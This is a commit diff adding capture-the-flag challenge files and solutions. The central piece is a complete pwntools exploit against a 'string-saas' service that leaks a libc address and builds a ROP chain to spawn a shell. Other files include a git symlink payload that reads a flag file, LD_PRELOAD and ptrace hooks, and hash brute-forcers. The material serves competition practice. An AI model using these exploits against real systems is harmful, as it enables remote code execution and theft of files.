This commit is contained in:
2026-04-15 01:05:54 +02:00
parent db0324c43d
commit bc0c08342d
84 changed files with 28780 additions and 0 deletions

View File

@@ -0,0 +1,36 @@
FROM ubuntu:jammy-20240125@sha256:bcc511d82482900604524a8e8d64bf4c53b2461868dac55f4d04d660e61983cb
ADD --chmod=0755 --checksum=sha256:4c97fd03a3b181996b1473f3a99b69a1efc6ecaf2b4ede061b6bd60a96b9325a \
https://raw.githubusercontent.com/reproducible-containers/repro-sources-list.sh/v0.1.0/repro-sources-list.sh \
/usr/local/bin/repro-sources-list.sh
RUN \
--mount=type=cache,target=/var/cache/apt,sharing=locked \
--mount=type=cache,target=/var/lib/apt,sharing=locked \
/usr/local/bin/repro-sources-list.sh && \
apt-get update && apt-get install -y \
make xz-utils gcc unzip file sudo
WORKDIR /app
ADD --chmod=0666 --checksum=sha256:4300f2fbc3996bc389d3c03a74662bfff3106ac1930942c5bd27580c7ba5053d \
https://yx7.cc/code/ynetd/ynetd-0.1.2.tar.xz \
/app/ynetd-0.1.2.tar.xz
RUN tar -xJf /app/ynetd-0.1.2.tar.xz && cd ynetd-0.1.2 && make
ADD --chmod=0600 getflag.c .
ADD --chmod=0755 run.sh .
COPY Makefile string-saas.c .
RUN make string-saas getflag
RUN rm getflag.c string-saas.c
RUN sha256sum string-saas
RUN echo 62350b02e19b9535e3e8e7e34792ac4c2cd1f86bc8563a9b6c4d24305ab48331 string-saas | sha256sum --check
RUN mkdir /app/tmp
RUN chmod 777 /app/tmp
EXPOSE 1024
CMD [ "/app/ynetd-0.1.2/ynetd", "-si", "y", "-so", "y", "-se", "y", \
"-p", "1024", "-d", "/app", "/app/string-saas" ]

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1,8 @@
#!/bin/bash
unzip -qnd tmp "$1"
for f in $(zipinfo -1 "$1"); do
[ -L "tmp/$f" ] && continue
file "tmp/$f" | grep -q ELF && \
sudo -u nobody strings "tmp/$f" | grep -v CSCG # no fleg
done

View File

@@ -0,0 +1,185 @@
#!/usr/bin/env python3
"""
Exploit for string-saas (CSCG CTF)
===================================
Vulns:
1) Heap info-leak via FILE-struct recycling in analyze()
2) Stack buffer overflow in main (fgets 64 into buf[32])
Mitigations: Full RELRO, PIE, NX, no canary.
Server: ynetd (fork-based → stable ASLR per restart).
Step 1 Leak libc via analyze()
• First analyze(): send a valid ZIP → fopen/fclose puts a freed
locked_FILE struct into a tcache bin.
• Second analyze(): send base64 that decodes to exactly 464 bytes
of non-null, non-ZIP data. decode()'s malloc recycles the freed
FILE chunk. The decoded 464 bytes overwrite the chunk's front;
the _IO_wide_data._wide_vtable pointer at offset 464 survives
untouched. fprintf(stderr, "Not a ZIP: %s\n", buf) prints past
our data and leaks the vtable pointer (_IO_wfile_jumps).
Step 2 ROP via buffer overflow
Payload (63 bytes, NO embedded 0x0a):
32 B padding | 8 B fake rbp | 8 B pop_rdi;ret |
8 B &"/bin/sh" | 7 B do_system+2
fgets's NUL terminator supplies byte 7 of the last address (0x00).
Immediately after the 63 raw bytes we append b"exit\n".
• fgets #1 reads the 63-byte ROP blob (no newline → stops at n-1=63).
• fgets #2 reads "exit\n" into buf[0..4] without touching buf[40..63].
• main does leave;ret → pop rdi → "/bin/sh" → do_system+2 → shell!
We jump to do_system+2 (skipping `push r15`) to fix 16-byte stack
alignment that system()'s movaps [rsp] requires.
"""
from pwn import *
import base64, zipfile, io, sys
# ── CONFIG ────────────────────────────────────────────────────────
REMOTE_HOST = "t5b46wguuorhymil3pq25tocmk-1024-string-saas.challenge.cscg.live" # set e.g. "pwn.cscg.live"
REMOTE_PORT = 443 # set e.g. 1024
# Offsets for the *provided* libc (Ubuntu GLIBC 2.35-0ubuntu3.6)
LIBC_IO_WFILE_JUMPS = 0x2170c0
LIBC_POP_RDI = 0x2a3e5
LIBC_BINSH = 0x1d8678
LIBC_DO_SYSTEM_P2 = 0x50902 # do_system+2, skips push r15 for alignment
LEAK_DECODE_SIZE = 464 # decoded bytes that recycle the FILE chunk
# ──────────────────────────────────────────────────────────────────
context.binary = ELF('./string-saas_patched', checksec=False)
context.log_level = 'info'
# Override with local libc if running locally
USE_LOCAL = (REMOTE_HOST is None)
if USE_LOCAL:
_libc = ELF('./libc.so.6', checksec=False)
LIBC_IO_WFILE_JUMPS = _libc.symbols['_IO_wfile_jumps']
LIBC_POP_RDI = ROP(_libc, badchars=b'\n').find_gadget(['pop rdi', 'ret'])[0]
LIBC_BINSH = next(_libc.search(b'/bin/sh\x00'))
# find do_system jmp target
import subprocess as _sp
_r = _sp.run(['objdump','-d','-M','intel',
f'--start-address={hex(_libc.symbols["system"])}',
f'--stop-address={hex(_libc.symbols["system"]+20)}',
'/lib/x86_64-linux-gnu/libc.so.6'], capture_output=True, text=True)
for _line in _r.stdout.split('\n'):
if 'jmp' in _line and ':' in _line:
for _tok in _line.split():
try:
_v = int(_tok, 16)
if _v > 0x10000:
LIBC_DO_SYSTEM_P2 = _v + 2
except: pass
log.info(f"Local offsets: wfile=0x{LIBC_IO_WFILE_JUMPS:x} pop_rdi=0x{LIBC_POP_RDI:x} "
f"binsh=0x{LIBC_BINSH:x} dosys2=0x{LIBC_DO_SYSTEM_P2:x}")
def conn():
if REMOTE_HOST:
return remote(REMOTE_HOST, REMOTE_PORT, ssl=True)
else:
return process('./string-saas_patched', stderr=STDOUT)
def make_zip_b64():
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as zf:
zf.writestr('t.txt', 'A')
return base64.b64encode(buf.getvalue())
def do_leak(p):
"""
Leak _IO_wfile_jumps address via FILE-struct recycling.
Returns the leaked libc address or None.
"""
b64_zip = make_zip_b64()
# 1) Valid ZIP → triggers fopen / fwrite / fclose
p.sendline(b'analyze')
p.recvuntil(b'ZIP:')
p.sendline(b64_zip)
p.recvuntil(b'> ')
# 2) Non-ZIP → recycled FILE chunk leaks via fprintf %s
raw = b'\x41' * LEAK_DECODE_SIZE # 464 bytes of 'A'
p.sendline(b'analyze')
p.recvuntil(b'ZIP:')
p.sendline(base64.b64encode(raw))
resp = p.recvuntil(b'> ', timeout=5)
if b'Not a ZIP: ' not in resp:
return None
start = resp.index(b'Not a ZIP: ') + len(b'Not a ZIP: ')
end = resp.index(b'\n', start)
data = resp[start:end]
extra = data[LEAK_DECODE_SIZE:]
if len(extra) < 6:
return None
return u64(extra[:6].ljust(8, b'\x00'))
# ── MAIN ──────────────────────────────────────────────────────────
MAX_LEAK_TRIES = 50
for attempt in range(1, MAX_LEAK_TRIES + 1):
p = conn()
p.recvuntil(b'> ')
leaked = do_leak(p)
if leaked is None:
log.info(f"Attempt {attempt}/{MAX_LEAK_TRIES}: leak too short, retrying…")
p.close()
continue
libc_base = leaked - LIBC_IO_WFILE_JUMPS
if libc_base & 0xfff:
log.warn(f"Attempt {attempt}: base not page-aligned (0x{libc_base:x}), retrying…")
input()
p.close()
continue
log.success(f"libc base = 0x{libc_base:x}")
pop_rdi = libc_base + LIBC_POP_RDI
binsh = libc_base + LIBC_BINSH
dosys2 = libc_base + LIBC_DO_SYSTEM_P2
# Build 63-byte ROP blob
payload = b'A' * 32 # input_buf (32 B)
payload += b'B' * 8 # saved rbp (don't care)
payload += p64(pop_rdi) # saved rip → pop rdi; ret
payload += p64(binsh) # → "/bin/sh"
payload += p64(dosys2)[:7] # → do_system+2 (byte 7 = \0 by fgets)
assert len(payload) == 63, f"payload len {len(payload)} != 63"
if b'\x0a' in payload:
log.warn(f"Attempt {attempt}: 0x0a in ROP payload (bad ASLR luck). "
"Need server restart for new layout.")
p.close()
# On a fork server the layout is fixed until restart.
# If running locally each process() gives new ASLR.
continue
log.info("Sending overflow + 'exit' trigger…")
p.send(payload + b'exit\n')
p.recvuntil(b'ok, bye!')
log.success("main returned → ROP chain executing")
# Give the shell a moment to start
import time; time.sleep(0.2)
p.sendline(b'echo "SHELL_OK"')
try:
p.recvuntil(b'SHELL_OK', timeout=3)
log.success("Got shell!")
except EOFError:
log.warn("Shell died — alignment or constraint issue")
p.close()
continue
p.interactive()
break
else:
log.failure(f"Failed after {MAX_LEAK_TRIES} attempts")

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1 @@
A

Binary file not shown.

View File

@@ -0,0 +1,45 @@
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdint.h>
int puts(const char *s) {
FILE *maps = fopen("/proc/self/maps", "r");
char line[512];
uintptr_t base = 0;
while (fgets(line, sizeof(line), maps)) {
if (strstr(line, "gloomweaver") && strstr(line, "rwxp")) {
sscanf(line, "%lx", &base);
break;
}
}
fclose(maps);
if (base) {
uintptr_t text = base - 0x1000; // file base (rwxp is at offset 0x1000)
// Dump the 55x55 matrix at virtual 0x1253 (in rw-p segment at offset 0)
FILE *f;
f = fopen("/tmp/matrix_1253.bin", "wb");
fwrite((void *)(text + 0x1253), 1, 55*55, f); fclose(f);
f = fopen("/tmp/table_2605.bin", "wb");
fwrite((void *)(text + 0x2605), 1, 55, f); fclose(f);
f = fopen("/tmp/table_2697.bin", "wb");
fwrite((void *)(text + 0x2697), 1, 55, f); fclose(f);
// Expected output: 55 words = 110 bytes
f = fopen("/tmp/expected_2119.bin", "wb");
fwrite((void *)(text + 0x2119), 1, 110, f); fclose(f);
// Also dump the full patched code again with broader range
f = fopen("/tmp/full_dump.bin", "wb");
fwrite((void *)text, 1, 0x8000, f); fclose(f);
}
write(1, s, strlen(s));
write(1, "\n", 1);
return 0;
}

Binary file not shown.

View File

@@ -0,0 +1,28 @@
# find_hash.py — find a flag that passes the checksum
import struct
def compute_hash(flag_bytes):
eax = 0x65
for b in flag_bytes:
ecx = eax & 0xFFFFFFFF
edx = eax & 0xFF # dl only
ecx = (ecx << 6) & 0xFFFFFFFF
edx = (edx >> 6) & 0xFF
eax = (eax + ecx) & 0xFFFFFFFF
eax = (eax + edx) & 0xFFFFFFFF
eax ^= b
return eax & 0xFF
prefix = b"CTF{th1s_"
suffix = b"}"
# 64 bytes total: 9 prefix + 54 middle + 1 suffix
# Try different last middle byte
for last in range(0x21, 0x7F):
middle = b"A" * 53 + bytes([last])
flag = prefix + middle + suffix
assert len(flag) == 64
h = compute_hash(flag)
if h == 0x0C:
print(f"Found: {flag.decode()}")
print(f"Hash: 0x{h:02x}")
break

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1 @@
caf5d17185a42bf99e74224d738c33e555aa086b27ee5de56bc35053dc386c1a /tmp/gloom_region_0.bin

View File

@@ -0,0 +1 @@
4c77553b5cfaa9c0f896574baecaf29cf0625943299999cbe436cb4e708724c1 /tmp/gloom_region_0.bin

View File

@@ -0,0 +1,95 @@
# solve.py
import numpy as np
# Load tables
matrix_raw = open("/tmp/matrix_1253.bin", "rb").read()
table_a = open("/tmp/table_2605.bin", "rb").read() # 55 bytes
table_b = open("/tmp/table_2697.bin", "rb").read() # 55 bytes
expected_raw = open("/tmp/expected_2119.bin", "rb").read() # 110 bytes
# Build coefficient matrix mod 256
# coeff[i][j] = ((table_a[i] * table_b[j] * 1337) & 0xFF + matrix[i*55+j]) & 0xFF
M = np.zeros((55, 55), dtype=np.int64)
for i in range(55):
for j in range(55):
ab = table_a[i] * table_b[j] # 8x8 -> 16-bit
val = (ab * 1337) & 0xFF # imul then take low byte
val = (val + matrix_raw[i * 55 + j]) & 0xFF # add matrix element
M[i][j] = val
# Expected values — try byte extraction (every other byte = low bytes of words)
# The cmpsw comparison uses words, so expected is 55 x 2-byte values
# Result bytes are at rsp[0..54], compared as words: (rsp[0],rsp[1]), (rsp[2],rsp[3])...
# Since only odd-indexed bytes have values, let's try both interpretations
# Interpretation 1: expected is just the first 55 bytes
expected_bytes = list(expected_raw[:55])
# Interpretation 2: expected is every other byte (word low bytes)
expected_words_lo = [expected_raw[i*2] for i in range(55)]
print("Expected (first 55 bytes):", [hex(x) for x in expected_bytes[:10]])
print("Expected (word lo bytes):", [hex(x) for x in expected_words_lo[:10]])
# Gaussian elimination mod 256
def solve_mod256(M, b):
n = len(b)
# Augmented matrix
aug = np.zeros((n, n+1), dtype=np.int64)
for i in range(n):
for j in range(n):
aug[i][j] = M[i][j] % 256
aug[i][n] = b[i] % 256
# Forward elimination
for col in range(n):
# Find pivot with odd value (invertible mod 256 requires gcd(pivot,256)=1)
pivot = -1
for row in range(col, n):
if aug[row][col] % 2 == 1: # odd = invertible mod 256
pivot = row
break
if pivot == -1:
print(f"No odd pivot at column {col}, trying any nonzero...")
for row in range(col, n):
if aug[row][col] != 0:
pivot = row
break
if pivot == -1:
print(f"Singular at column {col}")
return None
# Swap
aug[[col, pivot]] = aug[[pivot, col]]
# Compute inverse of pivot mod 256
pv = int(aug[col][col]) % 256
inv = pow(pv, -1, 256) if pv % 2 == 1 else None
if inv is None:
print(f"Non-invertible pivot {pv} at col {col}")
return None
# Scale pivot row
aug[col] = (aug[col] * inv) % 256
# Eliminate
for row in range(n):
if row != col and aug[row][col] != 0:
factor = int(aug[row][col])
aug[row] = (aug[row] - factor * aug[col]) % 256
solution = aug[:, n] % 256
return solution
# Try both interpretations
for name, expected in [("first_55_bytes", expected_bytes),
("word_lo_bytes", expected_words_lo)]:
print(f"\n=== Trying {name} ===")
sol = solve_mod256(M, expected)
if sol is not None:
flag_content = bytes([int(x) for x in sol])
flag = b"CTF{th1s" + flag_content + b"}"
printable = all(0x20 <= b < 0x7f for b in flag_content)
print(f"Solution: {flag}")
print(f"Printable: {printable}")
print(f"Hex: {flag_content.hex()}")

View File

@@ -0,0 +1,20 @@
// trace_hook.c — intercept signal handler to log VM state
#define _GNU_SOURCE
#include <signal.h>
#include <stdio.h>
#include <dlfcn.h>
static FILE *trace;
int sigaction(int signum, const struct sigaction *act,
struct sigaction *oldact) {
// Log which signals are being registered
if (!trace) trace = fopen("/tmp/vm_trace.txt", "w");
fprintf(trace, "sigaction(%d)\n", signum);
fflush(trace);
// Call real sigaction
int (*real)(int, const struct sigaction*, struct sigaction*) =
dlsym(RTLD_NEXT, "sigaction");
return real(signum, act, oldact);
}

Binary file not shown.

BIN
2026/cscg/rev/gloomweaver/tracer Executable file

Binary file not shown.

View File

@@ -0,0 +1,64 @@
// tracer2.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <unistd.h>
int main(int argc, char **argv) {
pid_t child = fork();
if (child == 0) {
ptrace(PTRACE_TRACEME, 0, 0, 0);
raise(SIGSTOP);
execv(argv[1], &argv[1]);
perror("exec");
exit(1);
}
int status;
waitpid(child, &status, 0);
// Use TRACEEXEC to catch the exec, then CONT (not SYSCALL)
ptrace(PTRACE_SETOPTIONS, child, 0, PTRACE_O_TRACEEXEC);
ptrace(PTRACE_CONT, child, 0, 0);
FILE *log = fopen("/tmp/signal_trace.txt", "w");
int count = 0;
while (1) {
waitpid(child, &status, 0);
if (WIFEXITED(status)) {
fprintf(log, "Exited: %d (signals: %d)\n", WEXITSTATUS(status), count);
break;
}
if (WIFSIGNALED(status)) {
fprintf(log, "Killed by signal %d\n", WTERMSIG(status));
break;
}
if (WIFSTOPPED(status)) {
int sig = WSTOPSIG(status);
// Exec event — swallow, continue
if (status >> 8 == (SIGTRAP | (PTRACE_EVENT_EXEC << 8))) {
fprintf(log, "Exec event\n");
ptrace(PTRACE_CONT, child, 0, 0);
continue;
}
struct user_regs_struct regs;
ptrace(PTRACE_GETREGS, child, 0, &regs);
fprintf(log, "Signal %2d at RIP=0x%llx RDI=%lld RSI=0x%llx\n",
sig, regs.rip, regs.rdi, regs.rsi);
fflush(log);
count++;
// Forward the signal
ptrace(PTRACE_CONT, child, 0, sig);
}
}
fclose(log);
return 0;
}

View File

@@ -0,0 +1,31 @@
# 1. Create the base repository with a commit
mkdir base_repo && cd base_repo
git init
git commit --allow-empty -m "init"
cd ..
# 2. Create the bare clone (the payload)
git clone --bare base_repo malicious.git
# 3. Inject the symlink
cd malicious.git
ln -s /app/flag.txt shallow
# 4. Force Git to track the refs directories
mkdir -p refs/heads refs/tags
touch refs/.keep
touch refs/heads/.keep
touch refs/tags/.keep
cd ..
# 5. Wrap it for delivery
mkdir wrapper && cd wrapper
git init
cp -r ../malicious.git .
git add malicious.git
git commit -m "Delivery package with refs tracked"
# 6. Push to your server
git branch -M main
git remote add origin https://gitea.cato447.de/cato447/pwn.git
git push -u origin main -f

View File

@@ -0,0 +1,12 @@
FROM archlinux:latest
RUN pacman --noconfirm -Sy socat python3 git
RUN mkdir /app
COPY clone.py /app/clone.py
COPY ./flag.txt /app/flag.txt
RUN useradd -m -k user:user user
USER user
WORKDIR /tmp
CMD socat TCP-LISTEN:1337,reuseaddr,fork EXEC:"python3 /app/clone.py",stderr

View File

@@ -0,0 +1,4 @@
import subprocess
git_url = input('Git url to clone > ')
subprocess.run(["git", "clone", git_url], capture_output=False)
print('Done cloning!')

View File

@@ -0,0 +1,5 @@
services:
githoarder:
build: .
ports:
- 1444:1337

View File

@@ -0,0 +1 @@
kalmar{test_flag}

BIN
2026/kalmar/rev/oracle/0racle.exe Executable file

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

BIN
2026/kalmar/rev/oracle/solve Executable file

Binary file not shown.

View File

@@ -0,0 +1,79 @@
#include <iostream>
#include <string>
#include <vector>
#include <stdint.h>
#include <future>
const uint32_t BASIS = 0x811c9dc5;
const uint32_t PRIME = 0x1000193;
const std::string CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_";
uint32_t fnv1a(const std::string& s) {
uint32_t hash = BASIS;
for (unsigned char c : s) {
hash ^= c;
hash *= PRIME;
}
return hash;
}
// Recursive cracker for a specific segment
std::string crack(int length, uint32_t target) {
std::string current(length, CHARSET[0]);
auto backtrack = [&](auto self, int depth) -> bool {
if (depth == length) {
return fnv1a(current) == target;
}
for (char c : CHARSET) {
current[depth] = c;
if (self(self, depth + 1)) return true;
}
return false;
};
if (backtrack(backtrack, 0)) return current;
return "?????";
}
int main() {
struct Segment {
int id;
int len;
uint32_t hash;
};
std::vector<Segment> segments = {
{1, 4, 0x1fdb82eb}, // 7:11
{2, 3, 0xc498c8a6}, // 12:15
{3, 5, 0xd451383b}, // 16:21
{4, 3, 0xf1d1bdc9}, // 22:25
{5, 5, 0x5768cca7}, // 26:31
{6, 3, 0xe25d1966}, // 32:35
{7, 4, 0x45b2772b} // 36:40
};
std::vector<std::future<std::string>> workers;
std::cout << "[*] Launching 7 parallel threads for FNV-1a brute-force..." << std::endl;
for (const auto& s : segments) {
workers.push_back(std::async(std::launch::async, crack, s.len, s.hash));
}
std::vector<std::string> results;
for (size_t i = 0; i < workers.size(); ++i) {
std::string found = workers[i].get();
results.push_back(found);
std::cout << "[+] Segment " << i + 1 << " (" << segments[i].len << " chars): " << found << std::endl;
}
std::cout << "\n==========================================" << std::endl;
std::cout << "FINAL FLAG: kalmar{";
for (size_t i = 0; i < results.size(); ++i) {
std::cout << results[i] << (i == results.size() - 1 ? "" : "_");
}
std::cout << "}" << std::endl;
std::cout << "==========================================" << std::endl;
return 0;
}

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,427 @@
jjjj
jjjj
jjjjjjjjjjjjjjjj
jjjjjjjjjjjjjjjj
jjjjjjjjjj
jjjjjjjjjjjjjjjj
vjjjj
vjjjj
jjjjjjjjjjjjjjjj
jjjjjjjjjjjjjjjj
jjjjjjjjjjjjjjjj
jjjjjjjjjjjjjjjj
jjjjjjjjjjjjjjjj
jjjjjjjjjjjjjj
jjjjj
jjjjj
jjjjjjjjjjjjjjjj
jjjjjjh
jjjjh
jjjjjjjjjjjjjj
\jjjjjjj
jjjjj
jjjjjjjjjjjjj
jjjjjjjjjjjjjjjj
jjjjjjjjjjjjjjj
jjjjjjjjjjjjjjj
jjjjjjjjjjjjjjj
jjjjjjjjjjjjjj
jjjjjjjjjj
jjjjjjjjjjjjjjjj
jjjjjjjjjjjjjjjj
jjjjjjjjjjjjjjj
jjjjjjjjjjjjjjjj
jjjjjjjjjjjjjjj
jjjjjjjjjjjjjjjj
jjjjjjjjjjjjjj
jjjjjjjjjjjjjjjj
jjjjjjjjjjjjjjjj
jjjjjjjjjjjjj
jjjj
jjjjj
jjjjj
jjjjjjjjjjjjjj
jjjj
jjjj
jjjj
jjjjj
jjjj
jjjj
jjjj
jjjjj
jjjj
jjjj
jjjjj
jjjjj
(08@P`p
0@`
0@`
Window
HintWindow
MDICLIENT
!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a\bcde\\\\fghijk\lm\\\\\nop\qr\stu\vwwww\xwyz{|\}~
ww\\
\\\\
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
\\\\
\\\\
wwww
\\\\
\\\\\\\\\\\
\\\\\\\\\\\\\
\\\\\\\\\\\\\\\\\\\\\\
\\\\
\\\\\\
\\\\\
w\\\\
\\\\\\\
!"#$%&'()*+,-
./.0123456789:;<=>?@ABCDEFGHI
.JKL
MJ.J
NO.P
.QKRSTU
VWXYZ[\]^_`abcdefghijkl
mnopqrstuvwxyz{|}~
KKKK
tttttt
ttttttt
ttttt
tKtttttttt
ttttttttttttttttt
....
..............
.......
.................
KKKKKKKKKKKKKKKKKKKKKKKKKKK
MMMMMM
KKKKKKKKK
KKKKKKKKKK
KKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKK
KKKJJK
KKKKKKKKKKKKKK
KKKKKKKKK
KKKKKKKKKKKKKKKKK
KKKKKK
KKKKKKKKK
KKKKK
KKKKKKKK
KKKKKKKKKKKKKKKKKKKKK
KKKKKKK
KKKKK
KKKKKKKKKKKKKKK
KKKKKKKK
KKKKKKKKKKKKKKKKKKKKKK
KKKKKKK
KKKK
KKKKKK
KKKKKKKKK
KKKKKKKKKKKKKK
KKKKK
KKKKKKKK
KKKKK
KJKSTU
KKKKKK
KKKKKKKKKKKK
JJJJJJ
KKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKK
QNOQNOJK
KKKKKKKK
KKKKKK
KKKKK
KKKKKKKK
KKKKKKKKKKKKK
JKKKKKK
KKKKKKKKKKKKKKKKKK
KKKKKKKK
KKKKKKKKK
KKKKKKK
KKKKKKKKKKKKKKKK
KKKKKK
KKKK
KKKKKKK
KKKK
KKKKK
KKKKKJJJ
JJJJJJ
KKKK
KKKK
KKKK
KKKK
KKKK
KKKKKKKKKKKK
KKKKK
JJJJJJJJ
JJJJJJ
JJJJ
KKKKKK
KKKK
KKKKKK
KKKK
KKKKKKKKKKKKK
KKKKKKKKKKK
KKKKKKKKK
KKKK
KKKKKKK
KKKK
KKKK
KKKKKKK
KKKK
KKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKK
JJJJJJJJJJ
KKKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKK
KKKKKKKK
KKKKKKKKKKKKK
KKKK
KKKK
KKKKKKKKKKKKKKKKKKKK
KKKKK
KKKKKKKKKKKKKKKKKK
KKKKKK
KKKKKKKKKKKKKKK
KKKKKKKKKKKKKK
KKKKK
KKKKKKKKKKKK
KKKKKKKKKK
JJJJJJJJJJJJJJJJJJKKKKKKK
KKKKK
KKKKKKKKKKKKKKKKK
KKKKKKK
JJJJJJJJJJ
JJJJJJJJJ
KKKKKKKKKKKKKK
KKKKKKKK
KKKK
KKKKKKKKKKK
KKKK
KKKK
tttttttttttt
ttttttttttttt
ttttttttttttt
MMMMM
MMMMM
MMMMM
MMMMMMMMMM
JJJJ
JJJJJJ
tKKKKtJJtt
ttttJ
JJJJJ
JJJJ
JJJJJJJ
JJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJ
JJJJJJJJ
JJJJ
JJJJJJJ
JJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJ
JJJJJJJJJJJ
JJJJJJJJJJ
JJJJJJJ
JJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJ
JJJJJJJJ
JJJJJJJJJJJJ
JJJJJJJ
JJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJ
JJJJJJJJ
JJJJ
ttttt
tJJJJJJ
KKKKKKKK
KKKKKKK
KKKKKKK
KKKKKKK
LRLR
JJJJJJJJJJ
JJJJJJJJJ
JJJJJJ
JJJJJJJJJJJJ
KKKKKKKKKKK
KKKKKK
KKKKKK
K KKKKKKKKKKK
KKKKKK
KKKKKK
KKKKKKKKKKKJJQNO
JJJJJJJJJJQNO
JJJJJJJJJJJJJJ
KKKKK
KKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKK
KKKKKK
.......
tttttttt
tKKKKKKK
KKKK
KKKKKKK
JJJJ
KKKK
KKKKKKKKKKKKKKKKKK
KKKKKK
KKKKKK
KKKKKKK
KKKKK
KKKKKKKKK
KKKKK
KKKKKKKKK
KKKKKKKK
KKKKKKJJJK
KKKKK
KKKKKKKKKKK
KKKKKK
KKKKKK
KKKKKK
ttttttt.
tttttt
ttttttt
ttttt
KKKKKKKKK
KKK................
KKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKK
//
KKKKK
KKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKK
KKKKKK
KKKKKK
MMMJJ
\,\@\T\d\x\
X Y$Y
0123456789ABCDEF
MICROSOFTEDGE
[button
clock
combobox
edit
explorerbar
header
listview
menu
page
progress
rebar
scrollbar
spin
startpanel
status
taskband
taskbar
toolbar
tooltip
trackbar
traynotify
treeview
window
button
clock
combobox
edit
explorerbar
header
explorer::listview
menu
page
progress
rebar
scrollbar
spin
startpanel
status
taskband
taskbar
toolbar
tooltip
trackbar
traynotify
explorer::treeview
window
LAZ_PIC_DIALOG_TEMPLATE
msctls_updown32
LAZ_PIC_DIALOG_TEMPLATE BTN_ABORT
BTN_ABORT_150
BTN_ABORT_200
BTN_ALL
BTN_ALL_150
BTN_ALL_200
BTN_ARROWRIGHT
BTN_ARROWRIGHT_150
BTN_ARROWRIGHT_200
BTN_CANCEL
BTN_CANCEL_150
BTN_CANCEL_200 BTN_CLOSE
BTN_CLOSE_150
BTN_CLOSE_200
BTN_HELP
BTN_HELP_150
BTN_HELP_200
BTN_IGNORE
BTN_IGNORE_150
BTN_IGNORE_200
BTN_NO
BTN_NO_150
BTN_NO_200
BTN_OK
BTN_OK_150
BTN_OK_200 BTN_RETRY
BTN_RETRY_150
BTN_RETRY_200
BTN_YES
BTN_YES_150
BTN_YES_200
DIALOG_CONFIRMATION
DIALOG_CONFIRMATION_150
DIALOG_CONFIRMATION_200
DIALOG_ERROR
DIALOG_ERROR_150
DIALOG_ERROR_200
DIALOG_INFORMATION
DIALOG_INFORMATION_150
DIALOG_INFORMATION_200
DIALOG_SHIELD
DIALOG_SHIELD_150
DIALOG_SHIELD_200
DIALOG_WARNING
DIALOG_WARNING_150
DIALOG_WARNING_200
SORTASC
SORTASC_150
SORTASC_200
SORTASC_50
SORTASC_75
SORTDESC
SORTDESC_150
SORTDESC_200
SORTDESC_50
SORTDESC_75
TFORM1
TFORM2
TWINDOW
CUR_1
CUR_10
CUR_12
CUR_13
CUR_14
CUR_15
CUR_16
CUR_17
CUR_18
CUR_20
CUR_21
CUR_22
MAINICON

View File

@@ -0,0 +1,11 @@
# Exposed
Only the bot container and the aperisolve web container will be exposed
# Run
```sh
./build.sh
```
# Submit
You can submit urls to the bot with:
```sh
curl http://127.0.0.1:8091/report --json '{"url":"http://web:5000/?..."}'
````

View File

@@ -0,0 +1,17 @@
FROM fedora:latest
RUN dnf update -y && dnf install -y chromium nodejs
WORKDIR /app
COPY package*.json ./
RUN npm install
COPY bot.js .
ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD=true
ENV PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium-browser
RUN useradd -m user
USER user
CMD ["node", "bot.js"]

View File

@@ -0,0 +1,73 @@
const express = require('express');
const puppeteer = require('puppeteer');
const app = express();
const FLAG = process.env.FLAG || 'kalmar{test_flag}';
const CHALLENGE_DOMAIN = process.env.CHALLENGE_DOMAIN || 'http://web:5000/';
app.use(express.json());
function sleep(ms) {
return new Promise(res => setTimeout(res, ms));
}
async function visitUrl(url) {
const browser = await puppeteer.launch({
headless: true,
args: [
// this is not a pwn challenge, please don't rce us
'--disable-extensions',
'--disable-gpu',
'--disable-software-rasterizer',
'--js-flags=--noexpose_wasm,--jitless',
'--no-sandbox',
]
});
try {
const page = await browser.newPage();
await page.goto(CHALLENGE_DOMAIN, {
waitUntil: 'networkidle0',
});
// Flag is stored in localStorage
await page.evaluate((flag) => {
localStorage.setItem("flag", flag);
}, FLAG);
await sleep(1000);
await page.close()
// now visit reported page
const page2 = await browser.newPage();
await page2.goto(url, {waitUntil: []});
await sleep(5000);
} catch (err) {
console.error('Error visiting page:', err);
} finally {
await browser.close();
}
}
app.post('/report', async (req, res) => {
const { url } = req.body;
if (!url || typeof url !== 'string' || !url.startsWith(CHALLENGE_DOMAIN + '?')) {
return res.status(400).json({ error: `Invalid URL. Url should be a string and start with ${CHALLENGE_DOMAIN + '?'}` });
}
try {
await visitUrl(url);
res.json({ success: true });
} catch (err) {
console.error('Error on /report', err);
res.status(500).json({ error: 'Failed to visit URL' });
}
});
const PORT = process.env.PORT || 8080;
app.listen(PORT, () => {
